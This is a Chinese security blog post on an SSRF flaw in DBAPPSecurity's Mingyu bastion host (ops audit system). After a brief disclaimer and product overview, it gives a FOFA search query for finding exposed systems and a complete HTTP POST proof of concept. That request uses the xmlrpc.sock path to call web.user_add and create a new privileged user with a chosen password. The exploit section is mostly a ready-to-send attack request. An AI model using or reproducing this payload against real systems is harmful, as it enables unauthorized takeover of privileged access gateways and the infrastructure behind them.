2023 HW 安恒明御运维审计与风险控制系统漏洞复现以及POC

admin

102360
文章

87
评论

2023年8月17日14:57:05评论584 views1字数 2693阅读8分58秒阅读模式

0x00 团队声明

Disclaimer

该漏洞为我团队漏洞监测平台发现，仅供学习参考使用，请勿用作违法用途，否则后果自负。

0x01 漏洞概述

Vulnerability Overview

2023 HW 安恒明御运维审计与风险控制系统漏洞复现以及POC

漏洞编号：暂无

产品介绍：

安恒的明御运维审计与风险控制系统是一款旨在提供安全运维管理和运维活动审计的解决方案。通过该系统，组织能够实现对关键资产的访问和操作的全面控制和审计，保障资产安全，并满足合规要求。

以下是明御系统的一些主要功能和特点：

运维审计：系统可以记录管理员的所有操作行为，包括命令行操作、图形界面操作和文件传输行为。管理员操作的全程录像可以供随后的复核和审计。
双因素认证：为增加安全性，明御支持双因素认证。除了常规的用户名和密码，还可以要求输入一次性密码或其他第二因素凭证。
角色权限管理：组织可以根据职责为不同的管理员设置不同的权限，确保他们只能访问和操作自己职责范围内的资产。
命令控制：明御允许管理员定义白名单和黑名单，用于限制某些高风险或不允许的命令。
实时告警：对于异常或违规的操作，系统可以实时发出告警，帮助安全团队及时发现和应对威胁。
合规报告：系统提供丰富的审计报告和分析工具，帮助组织满足各种合规要求，如SOX、PCI DSS等。
系统集成：明御可以与其他安全和IT管理系统集成，如SIEM、身份管理和权限管理系统等，实现数据共享和自动化响应。
高可用和灾备：为确保连续性，明御支持集群部署、负载均衡和灾备切换。

漏洞概述：

安恒明御运维审计与风险控制系统 xmlrpc.sock 接口存在SSRF漏洞，通过漏洞可以添加任意用户控制堡垒机。

0x02 影响版本

Affected Versions

安恒明御运维审计与风险控制系统

0x03 漏洞复现

Vulnerability Reproduction

FOFA语法："明御运维审计与风险控制系统"

2023 HW 安恒明御运维审计与风险控制系统漏洞复现以及POC

漏洞验证POC

POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1
Host: 
Cookie: LANG=zh; DBAPPUSM=ee4bbf6c85e541bb980ad4e0fbee2f57bb15bafe20a7028af9a0b8901cf80fd3
Content-Length: 1117
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?xml version="1.0"?>  
<methodCall>
<methodName>web.user_add</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<string>admin</string>
</value>
<value>
<string>5</string>
</value>
<value>
<string>10.0.0.1</string>
</value>
</data>
</array>
</value>
</param>
<param>
<value>
<struct>
<member>
<name>uname</name>
<value>
<string>test</string>
</value>
</member>
<member>
<name>name</name>
<value>
<string>test</string>
</value>
</member>
<member>
<name>pwd</name>
<value>
<string>1qaz@3edC12345</string>
</value>
</member>
<member>
<name>authmode</name>
<value>
<string>1</string>
</value>
</member>
<member>
<name>deptid</name>
<value>
<string></string>
</value>
</member>
<member>
<name>email</name>
<value>
<string></string>
</value>
</member>
<member>
<name>mobile</name>
<value>
<string></string>
</value>
</member>
<member>
<name>comment</name>
<value>
<string></string>
</value>
</member>
<member>
<name>roleid</name>
<value>
<string>102</string>
</value>
</member>
</struct></value>
</param>
</params>
</methodCall>